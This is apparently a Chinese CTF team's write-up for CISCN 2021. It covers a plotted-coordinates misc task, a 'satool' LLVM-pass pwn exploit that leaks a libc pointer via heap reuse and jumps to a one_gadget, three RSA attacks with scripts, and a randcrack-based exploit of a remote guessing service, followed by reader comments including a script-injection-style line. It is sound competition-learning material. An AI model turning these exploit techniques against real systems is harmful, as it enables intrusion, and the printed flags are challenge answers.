39, 0], [112, 38, 0], [112, 36, 0], [113, 34, 0], [114, 33, 0], [115, 32, 0], [115, 31, 0], [116, 30, 0], [117, 28, 0], [118, 27, 0], [118, 28, 0], [117, 30, 0], [116, 32, 0], [115, 34, 0], [115, 36, 0], [114, 39, 0], [114, 41, 0], [114, 43, 0], [114, 45, 0], [114, 47, 0], [114, 48, 0], [114, 50, 0], [114, 52, 0], [114, 53, 0], [115, 54, 0], [116, 55, 0], [117, 56, 0], [118, 57, 0], [120, 57, 0], [122, 57, 0], [124, 57, 0], [126, 57, 0], [128, 57, 0], [131, 57, 0], [133, 57, 0], [136, 57, 0], [138, 57, 0], [141, 57, 0], [143, 56, 0], [145, 55, 0], [147, 53, 0], [149, 52, 0], [150, 52, 0], [152, 50, 0], [153, 49, 0], [155, 47, 0], [156, 46, 0], [157, 45, 0], [157, 45, -10], [212, 24, 0], [212, 24, 0], [213, 23, 0], [211, 21, 0], [210, 20, 0], [209, 19, 0], [208, 18, 0], [207, 17, 0], [206, 16, 0], [205, 15, 0], [204, 15, 0], [201, 14, 0], [200, 14, 0], [199, 14, 0], [197, 14, 0], [196, 14, 0], [195, 14, 0], [193, 14, 0], [191, 14, 0], [189, 16, 0], [188, 16, 0], [187, 16, 0], [186, 17, 0], [185, 17, 0], [183, 18, 0], [183, 20, 0], [183, 21, 0], [182, 22, 0], [182, 23, 0], [182, 24, 0], [182, 25, 0], [182, 26, 0], [182, 27, 0], [182, 29, 0], [183, 31, 0], [184, 32, 0], [186, 33, 0], [187, 34, 0], [188, 34, 0], [189, 35, 0], [190, 35, 0], [192, 36, 0], [194, 37, 0], [196, 37, 0], [198, 38, 0], [199, 38, 0], [200, 38, 0], [201, 38, 0], [202, 39, 0], [203, 39, 0], [204, 40, 0], [207, 41, 0], [207, 42, 0], [208, 43, 0], [208, 44, 0], [208, 45, 0], [208, 46, 0], [208, 48, 0], [208, 50, 0], [208, 51, 0], [207, 53, 0], [207, 54, 0], [206, 56, 0], [204, 58, 0], [203, 60, 0], [202, 61, 0], [201, 62, 0], [201, 63, 0], [200, 64, 0], [199, 64, 0], [198, 64, 0], [197, 65, 0], [196, 65, 0], [195, 65, 0], [193, 65, 0], [192, 65, 0], [190, 65, 0], [189, 65, 0], [187, 65, 0], [185, 65, 0], [184, 65, 0], [183, 65, 0], [181, 64, 0], [180, 63, 0], [179, 63, 0], [178, 62, 0], [177, 62, 0], [175, 61, 0], [174, 60, 0], [173, 59, 0], [173, 59, -10], [243, 20, 0], [243, 20, 0], [244, 19, 0], [244, 21, 0], [244, 25, 0], [245, 26, 0], [245, 29, 0], [247, 32, 0], [247, 34, 0], [248, 36, 0], [248, 37, 0], [249, 39, 0], [250, 40, 0], [251, 42, 0], [251, 43, 0], [252, 44, 0], [254, 44, 0], [256, 44, 0], [258, 44, 0], [260, 42, 0], [262, 41, 0], [263, 40, 0], [265, 38, 0], [266, 35, 0], [267, 32, 0], [268, 30, 0], [271, 27, 0], [272, 25, 0], [273, 22, 0], [274, 21, 0], [275, 20, 0], [275, 19, 0], [274, 18, 0], [274, 20, 0], [272, 22, 0], [271, 23, 0], [271, 26, 0], [268, 29, 0], [266, 33, 0], [266, 35, 0], [265, 37, 0], [263, 40, 0], [262, 42, 0], [262, 44, 0], [261, 47, 0], [260, 49, 0], [259, 51, 0], [258, 55, 0], [258, 56, 0], [257, 58, 0], [255, 61, 0], [254, 62, 0], [253, 63, 0], [253, 64, 0], [252, 65, 0], [251, 66, 0], [250, 67, 0], [249, 68, 0], [248, 69, 0], [247, 70, 0], [246, 71, 0], [245, 72, 0], [244, 73, 0], [244, 73, -10], [298, 64, 0], [298, 64, 0], [299, 65, 0], [300, 65, 0], [302, 65, 0], [304, 65, 0], [306, 65, 0], [308, 65, 0], [309, 65, 0], [312, 65, 0], [315, 65, 0], [317, 65, 0], [319, 65, 0], [322, 65, 0], [325, 65, 0], [327, 65, 0], [330, 65, 0], [332, 65, 0], [334, 66, 0], [335, 66, 0], [335, 66, -10], [20, 103, 0], [20, 104, 0], [20, 107, 0], [20, 110, 0], [20, 112, 0], [20, 114, 0], [20, 118, 0], [19, 121, 0], [18, 124, 0], [17, 126, 0], [17, 130, 0], [17, 134, 0], [17, 137, 0], [17, 139, 0], [17, 142, 0], [17, 143, 0], [17, 146, 0], [17, 147, 0], [17, 149, 0], [17, 150, 0], [17, 149, 0], [17, 148, 0], [17, 146, 0], [18, 145, 0], [18, 143, 0], [19, 142, 0], [20, 141, 0], [20, 140, 0], [21, 138, 0], [21, 137, 0], [22, 135, 0], [23, 134, 0], [24, 132, 0], [25, 131, 0], [26, 129, 0], [27, 128, 0], [28, 127, 0], [29, 126, 0], [31, 125, 0], [32, 124, 0], [32, 123, 0], [34, 121, 0], [35, 120, 0], [37, 120, 0], [38, 119, 0], [40, 118, 0], [41, 118, 0], [43, 117, 0], [44, 116, 0], [46, 115, 0], [48, 115, 0], [49, 114, 0], [50, 113, 0], [51, 113, 0], [52, 112, 0], [52, 112, -10], [80, 121, 0], [80, 121, 0], [79, 120, 0], [78, 121, 0], [77, 122, 0], [77, 123, 0], [77, 124, 0], [76, 127, 0], [75, 128, 0], [74, 129, 0], [73, 131, 0], [73, 132, 0], [73, 133, 0], [72, 135, 0], [72, 136, 0], [72, 137, 0], [72, 138, 0], [72, 139, 0], [72, 140, 0], [72, 142, 0], [72, 144, 0], [72, 145, 0], [73, 148, 0], [74, 149, 0], [77, 150, 0], [78, 150, 0], [80, 151, 0], [81, 151, 0], [82, 151, 0], [83, 151, 0], [84, 151, 0], [85, 151, 0], [87, 151, 0], [89, 151, 0], [90, 151, 0], [92, 150, 0], [93, 150, 0], [95, 149, 0], [97, 147, 0], [98, 146, 0], [99, 146, 0], [100, 145, 0], [101, 144, 0], [102, 142, 0], [102, 141, 0], [104, 139, 0], [104, 138, 0], [105, 136, 0], [105, 135, 0], [105, 133, 0], [105, 132, 0], [105, 131, 0], [105, 129, 0], [104, 128, 0], [103, 126, 0], [102, 126, 0], [101, 125, 0], [98, 123, 0], [96, 123, 0], [95, 123, 0], [93, 123, 0], [92, 122, 0], [90, 121, 0], [89, 121, 0], [86, 120, 0], [86, 120, -10], [147, 98, 0], [147, 98, 0], [146, 99, 0], [145, 100, 0], [144, 103, 0], [143, 104, 0], [142, 105, 0], [142, 106, 0], [142, 109, 0], [142, 111, 0], [142, 114, 0], [141, 118, 0], [140, 120, 0], [139, 123, 0], [138, 127, 0], [138, 129, 0], [137, 133, 0], [135, 135, 0], [134, 137, 0], [133, 139, 0], [131, 142, 0], [131, 143, 0], [131, 145, 0], [130, 146, 0], [129, 149, 0], [128, 152, 0], [128, 153, 0], [127, 156, 0], [127, 157, 0], [126, 158, 0], [127, 157, 0], [129, 157, 0], [130, 156, 0], [132, 156, 0], [134, 155, 0], [137, 153, 0], [138, 152, 0], [139, 151, 0], [140, 150, 0], [143, 149, 0], [144, 148, 0], [145, 147, 0], [146, 146, 0], [147, 145, 0], [149, 144, 0], [149, 143, 0], [150, 142, 0], [151, 141, 0], [152, 140, 0], [152, 139, 0], [153, 138, 0], [153, 137, 0], [153, 136, 0], [153, 135, 0], [153, 134, 0], [153, 133, 0], [152, 132, 0], [151, 131, 0], [150, 131, 0], [149, 130, 0], [147, 129, 0], [147, 129, -10], [186, 136, 0], [186, 136, 0], [183, 137, 0], [182, 138, 0], [182, 139, 0], [182, 140, 0], [181, 142, 0], [179, 144, 0], [179, 145, 0], [179, 147, 0], [178, 149, 0], [177, 150, 0], [177, 151, 0], [177, 152, 0], [177, 154, 0], [177, 156, 0], [177, 157, 0], [177, 158, 0], [178, 160, 0], [179, 161, 0], [180, 162, 0], [181, 163, 0], [182, 164, 0], [184, 164, 0], [186, 164, 0], [187, 164, 0], [188, 164, 0], [190, 163, 0], [191, 162, 0], [192, 162, 0], [194, 160, 0], [196, 159, 0], [197, 158, 0], [197, 156, 0], [198, 155, 0], [200, 153, 0], [200, 152, 0], [201, 150, 0], [201, 149, 0], [201, 148, 0], [201, 147, 0], [201, 145, 0], [201, 144, 0], [201, 142, 0], [201, 141, 0], [201, 139, 0], [201, 138, 0], [200, 136, 0], [199, 135, 0], [198, 135, 0], [197, 135, 0], [196, 135, 0], [195, 135, 0], [193, 135, 0], [192, 135, 0], [190, 135, 0], [189, 135, 0], [189, 135, -10], [223, 167, 0], [223, 167, 0], [224, 167, 0], [226, 167, 0], [228, 167, 0], [229, 167, 0], [232, 167, 0], [233, 167, 0], [234, 167, 0], [235, 167, 0], [237, 167, 0], [238, 167, 0], [240, 167, 0], [241, 167, 0], [243, 167, 0], [244, 167, 0], [246, 167, 0], [247, 167, 0], [250, 168, 0], [251, 168, 0], [252, 168, 0], [253, 168, 0], [254, 168, 0], [254, 168, -10], [269, 135, 0], [271, 136, 0], [273, 138, 0], [275, 140, 0], [276, 141, 0], [278, 143, 0], [280, 145, 0], [282, 147, 0], [284, 149, 0], [285, 150, 0], [288, 152, 0], [289, 153, 0], [291, 154, 0], [293, 156, 0], [294, 157, 0], [296, 159, 0], [297, 160, 0], [298, 161, 0], [299, 162, 0], [299, 162, -10], [300, 136, 0], [299, 136, 0], [297, 137, 0], [296, 138, 0], [294, 141, 0], [294, 142, 0], [293, 144, 0], [293, 145, 0], [292, 148, 0], [291, 149, 0], [290, 151, 0], [288, 153, 0], [288, 155, 0], [287, 156, 0], [286, 157, 0], [285, 159, 0], [284, 160, 0], [283, 161, 0], [282, 162, 0], [281, 163, 0], [280, 164, 0], [279, 165, 0], [279, 165, -10], [327, 142, 0], [328, 143, 0], [330, 145, 0], [332, 148, 0], [333, 149, 0], [335, 151, 0], [337, 154, 0], [339, 156, 0], [341, 158, 0], [342, 159, 0], [345, 160, 0], [347, 161, 0], [348, 162, 0], [350, 164, 0], [351, 165, 0], [352, 166, 0], [355, 168, 0], [356, 169, 0], [356, 169, -10], [351, 143, 0], [350, 143, 0], [348, 144, 0], [347, 144, 0], [346, 145, 0], [343, 148, 0], [341, 150, 0], [339, 152, 0], [336, 155, 0], [333, 158, 0], [330, 159, 0], [327, 162, 0], [325, 165, 0], [323, 167, 0], [322, 168, 0], [319, 170, 0], [317, 171, 0], [316, 171, 0], [314, 172, 0], [313, 172, 0], [313, 172, -10]]
def draw(t):
    x = [x[0] for x in t]
    y = [x[1] for x in t]
    plt.scatter(x, y)
tmp = []
for i in res:
    tmp.append(i[:2])
    if i[2] == -10:
        draw(tmp)
        tmp = []

plt.savefig('1.png')

得到的图片:

1.png

翻转后可以看到的是:easy_robo_xx,转md5后提交
flag:CISCN{d4f1fb80bc11ffd722861367747c0f10}

Pwn

satool

一番交谈后,发现原来自己思路都完全走歪了,主要思考方式:就是需要逆清楚他的漏洞点和逻辑
首先分析一下他的功能,
他第一次会getName 检测函数名是不是BackDoor
然后后面进入一个循环 会第二次getName 获取BackDoor函数里面调用的函数
里面有cmp,这里就比较了 5个函数 stealkey fakekey takeaway run save
然后so文件里面有两个变量 一个是0x2040F8 一个是0x204100
save 的功能就是 会malloc(0x18) 将指针交给0x2040F8 然后把你写的函数传入的参数 拷贝到这里指针位置(这两个参数是字符串)
然后stealkey的作用 就是将0x2040F8对应的堆块的fd交给0x204100
然后主要是fakekey
fakekey 这里会从fakekey(long long int )
会把fakekey传入的8字节有符号整数 加上0x204100 后交给0x2040F8的位置
之后run的时候 调试下就能明白其实是调用的0x2040F8对应堆块的fd处的存放的地址
所以我们多save几次
让malloc(0x18)多申请几次
把tcache的0x20的块申请完
之后就会从unsorted bin chunk切割
如果传入的字符串是\x00
就不会覆盖fd
这样fd就会剩下一个libc地址
然后我们把这个libc地址 调用stealkey函数 交给0x204100变量
再调用fakekey 传入一个8字节有符号整数
让libc地址和这个整数 相加
刚好到达one_gadget的地址 再存入0x2040f8的chunk块的fd
用run就能调用了

拉个dock环境

2333.jpg

然后断在dlopen
手动运行到这个位置
so文件就加载了
然后就能给so文件里面的函数地址下断点了
再continue就能断在so文件里面
SAPass.so是出题人手写的 主要分析这个就行了
附件用clang -emit-llvm 编译成bc bitcode文件就行了
贴下exp:

// clang -emit-llvm -o test.bc -c code.c
/*
run:        call *0x2040F8()
stealkey:   0x204100 = *0x2040F8
takeaway:   clear the 0x2040F8
save(char *s1,char *s2):
    memcpy(&P[0],s1,strlen(s1));
    memcpy(&P[1],s2,strlen(s2));
fakekey:    set *0x2040F8 = 0x204100 + SetEXTValue
*/
#include <stdio.h>

int B4ckDo0r()
{
        save("FMYY","FMYY");
        save("FMYY","FMYY");
        save("FMYY","FMYY");
        save("FMYY","FMYY");
        save("FMYY","FMYY");
        save("\x00","FMYY");
        stealkey();
        fakekey(-0x2E1884);
        run();

}
int run()
{
    return 0;
}
int save(char *s1,char *s2)
{
    return 0;
}
int fakekey(int64)
{
    return 0;
}
int takeaway(char *s1)
{
    return 0;
}
int main()
{
    B4ckDo0r();

}

Reverse

也是爆0,太菜了太菜了

Crypto

RSA

可能怕我们三卷吃鸭蛋,放个水
根据代码,加密分为三段,
1 低解密指数攻击

p1 = getPrime(512)
q1 = getPrime(512)
N1 = p1*q1
e1 = 3
print pow(msg1,e1,N1)
print (e1,N1)

import gmpy2
from Crypto.Util.number import long_to_bytes
from hashlib import md5
# 低解密指数攻击
n1 =
12381447039455059836328051884891454693813773102677797588584673367249449397570306
97600538674718362494732908287999625868558926859029020506300183129390105649456766
99712246249820341712155938398068732866646422826619477180434858148938235662092482
058999079105450136181685141895955574548671667320167741641072330259009
e1 = 3
c1 =
19105765285510667553313898813498220212421177527647187802549913914263968945493144
63339067060511625106455036470478935883007213334910880879907502154047981518265766
77636171780441109394588346549225407041963304519793493530315785184791994544804581
37984734402248011464467312753683234543319955893
i=0
while 1:
if(gmpy2.iroot(c1+i*n1,3)[1]==1):
m1 = gmpy2.iroot(c1+i*n1,3)[0]
break
i=i+1
print('[-]m1 is:', long_to_bytes(m1))
# [-]m1 is: b' \nO wild West Wind, thou breath of Autum'

2 共模攻击

p2 = getPrime(512)
q2 = getPrime(512)
N2 = p2*q2
e2 = 17
e3 = 65537
print pow(msg2,e2,N2)
print pow(msg2,e3,N2)
print (e2,N2)
print (e3,N2)

# 共模攻击
n2 =
11138196116958992789651255775428942047487763260733468530666797779493882401834579
58363031614920765393759597316332706260914988439364019966488204510198115925945286
73182109109991384472979198906744569181673282663323892346854520052840694924830064
546269187849702880332522636682366270177489467478933966884097824069977
e2 = 17
e3 = 65537
c1 =
54995751387258798791895413216172284653407054079765769704170763023830130981480272
94333844524568929372930820057421795901846251279052362225247925841949885830789811
89070767734702535333448779595087662857305090678296844273757593456237016059970671
35659404296663877453758701010726561824951602615501078818914410959610
c2 =
91290935267458356541959327381220067466104890455391103989639822855753797805354139
74195995795198394314610855276275644447554525034376679822034824037759011285489048
23757448760161917734718537040147359366084362101536698294542881998388276464027425
54134017280213707222338496271289894681312606239512924842845268366950
s0, s1, s2 = gmpy2.gcdext(e2, e3)
if s1 < 0:
s1 = -s1
c1 = gmpy2.invert(c1, n2)
elif s2 < 0:
s2 = -s2
c2 = gmpy2.invert(c2, n2)
m2 = gmpy2.powmod(c1, s1, n2)*gmpy2.powmod(c2, s2, n2) % n2
print('[-]m2 is:', long_to_bytes(m2))
# [-]m2 is: b"n's being,\nThou, from whose unseen presence the leaves dead\nAre
driven, like ghosts from an enchanter fleeing,\nYellow, a"

3 Coppersmith攻击:已知p的高位攻击

p3 = getPrime(512)
q3 = getPrime(512)
N3 = p3*q3
print pow(msg3,e3,N3)
print (e3,N3)
print p3>>200

先根据p高位解出p

image-20210516171037052.png

然后求得明文m3

n3 =
11343293015503326376927071282512176108081395210066669360686635591711641698414916
55072319251805938608362554029503583274224473592006895372175285476236915860089526
19063846801829802637448874451228957635707553980210685985215887107300416969549087
293746310593988908287181025770739538992559714587375763131132963783147
p3 =
11437038763581010263116493983733546014403343859218003707512796706928880848035239
990740428334091106443982769386517753703890002478698418549777553268906496423
q3 =
99180331989638797983623295076372567060105629624873297424009331927215493070873324
82107381554368538995776396557446746866861247191248938339640876368268930589
e3 = 65537
c3 =
59213696442373765895948702611659756779813897653022080905635545636905434038306468
93528396268605903746194022761871569587558905559369635259463010708271475703681587
54971385237386950668119850363156249278970811531903296368640051337570969910356079
18106529151451834369442313673849563635248465014289409374291381429646
fN = (p3-1) * (q3-1)
d3=gmpy2.invert(e3, fN)
m3 = pow(c3,d3,n3)
print('[-]m3 is:',long_to_bytes(m3))

三段合并,得到flag

image-20210516171159068.png

flag值:CISCN{3943e8843a19149497956901e5d98639}

homo

首先看到题目,好家伙,动态靶机,以前做过类似的题目,也见怪不怪了,猜数字的“游戏” 打开靶机,
nc过去看一下是怎么回事

image-20210516065918595.png

打开附件分析一下,大概是这么回事,全局变量allowed是表示是否允许第二关,第一关至少赢200此
才允许第二关。
第一关找到了一道差不多的题的题,具体可以参考一下: 30C3CTF 2013 Number 100 Guess

image-20210516171405395.png

因为只有512次机会来通过这关,那我们就用312次机会来使用randcrack得到后面随机数更精确的生成
规则,从而通过第一关。
然后就是第二关了,具体原理大概就是,密文会在公钥的基础上加一个噪声,我们的输入在密文的基础
上,再加一个噪声,这 样并不会影响解密的结果

然后综合写个脚本,exp如下:

##@Author:bit
## Date :2021-05-16
from pwn import *
import copy
import randcrack
from Crypto.Util.number import *
class Homo:
    def __init__(self) -> None:
        # self.p = process(['python3', 'task.py'])
        self.p = remote('124.70.34.66', 23628)
        self.pk_0 = eval(self.p.recvline().strip())
        self.pk_1 = eval(self.p.recvline().strip())
        self.ct_0 = eval(self.p.recvline().strip())
        self.ct_1 = eval(self.p.recvline().strip())
    def game(self):
        self.p.sendline('1')
        rc = randcrack.RandCrack()
        mask_32 = (1 << 32) - 1
        # 使用312次机会获得随机数范围、生成规则,然后再进行游戏
        for i in range(312):
            self.p.sendlineafter('number:', '-1')
            s = self.p.recvline().split()[-1]
            r = int(s)
            r1 = r >> 32
            r2 = r & mask_32
            rc.submit(r2)
            rc.submit(r1)
        win_cnt = 0
        for i in range(200):
            self.p.sendlineafter('number:', str(rc.predict_randrange(0, 2 ** 64
- 1)))
            s = self.p.recvline()
            if (b'win' in s):
                win_cnt += 1
        print('Current try:', win_cnt)
        return win_cnt
    def fun(self):
        self.p.sendline('2')
        my_c0 = copy.deepcopy(self.ct_0)
        my_c0[0] -= 1
        my_c1 = copy.deepcopy(self.ct_1)
        my_c1[0] += 1
        self.p.sendlineafter('c0:', ','.join(str(x) for x in my_c0))
        self.p.sendlineafter('c1:', ','.join(str(x) for x in my_c1))
        self.p.recvline()
        s = self.p.recvline()
        print(s)
        s = eval(s)
        m = ''.join((str(x) for x in s))
        print(long_to_bytes(int(m, 2)))
    def run(self):
        win_cnt = 0
        while (win_cnt < 200):
        win_cnt = self.game()
        self.fun()
        self.p.interactive()
if __name__ == '__main__':
    g = Homo()
    g.run()

运行结果如下:

image-20210516064634533.png

oddaes

感言:

最后,还是感谢平时帮助我的大佬们,这次依旧是被带飞,打完这次比赛自己也比较迷茫,不知道到底该学啥,学啥啥也不会,可能很多东西都是投机取巧,先走一步看一步吧。

标签: none

  1. raein raein

    文件没有了呀 博主可以分享一下嘛

  2. img img

  3. * *

    alter("你的网站有毒")

    1. bit bit

      没毒,放心食用,应该是有东西没加进代码段,或者代码段里面的后门函数也给它扫出来了

  4. bityyds

  5. 三亿人 三亿人

    写的很好,就是感觉难

  6. aaa aaa

    请问Misc
    tiny traffic
    用Wireshark导出Http对象,然后直接搜索flag就可以看到flag_wrapper和test,secret
    保存为.br压缩包,解压后得到proto文件和一份数据文件 这个导出后那些文件里面没找到flag_wrapper 这些文件怎么解决?

    1. bit bit

      解压完后
      运行脚本后,打个断点看看re.data,
      仔细找到code:200
      然后就可以看到数据了

已有 8 条评论